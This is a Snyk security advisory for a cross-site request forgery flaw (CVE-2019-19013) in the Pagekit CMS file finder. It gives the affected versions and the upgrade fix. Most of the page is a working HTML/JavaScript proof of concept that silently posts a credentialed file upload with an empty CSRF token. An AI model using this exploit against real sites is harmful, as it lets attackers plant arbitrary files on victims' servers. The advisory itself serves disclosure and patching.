Cross-site Request Forgery (CSRF) Affecting pagekit/pagekit package, versions >=1.0.17, <1.0.18
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsSnyk Learn
Learn about Cross-site Request Forgery (CSRF) vulnerabilities in an interactive lesson.
Start learning- Snyk IDSNYK-PHP-PAGEKITPAGEKIT-5781380
- published19 Jul 2023
- disclosed24 May 2022
- creditChristian Bortone
Introduced: 24 May 2022
CVE-2019-19013 (opens in a new tab)How to fix?
Upgrade pagekit/pagekit to version 1.0.18 or higher.
Overview
pagekit/pagekit is a modular and lightweight CMS built with Symfony components and Vue.js.
Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) via FinderController.php which allows an attacker to upload an arbitrary file by removing the CSRF token from a request.
PoC
<html>
<body>
<script>history.pushState('', '', '/')</script>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http:\/\/localhost\/pagekit\/system\/finder\/upload", true);
xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=----WebKitFormBoundaryJze564AoGkbRRRUz");
xhr.setRequestHeader("Accept", "*\/*");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9");
xhr.withCredentials = true;
var body = "------WebKitFormBoundaryJze564AoGkbRRRUz\r\n" +
"Content-Disposition: form-data; name=\"files[]\"; filename=\"test.jpg\"\r\n" +
"Content-Type: image/jpeg\r\n" +
"\r\n" +
"\r\n" +
"------WebKitFormBoundaryJze564AoGkbRRRUz\r\n" +
"Content-Disposition: form-data; name=\"path\"\r\n" +
"\r\n" +
"/\r\n" +
"------WebKitFormBoundaryJze564AoGkbRRRUz\r\n" +
"Content-Disposition: form-data; name=\"root\"\r\n" +
"\r\n" +
"storage\r\n" +
"------WebKitFormBoundaryJze564AoGkbRRRUz\r\n" +
"Content-Disposition: form-data; name=\"_csrf\"\r\n" +
"\r\n" +
"\r\n" +
"------WebKitFormBoundaryJze564AoGkbRRRUz--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
submitRequest();
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>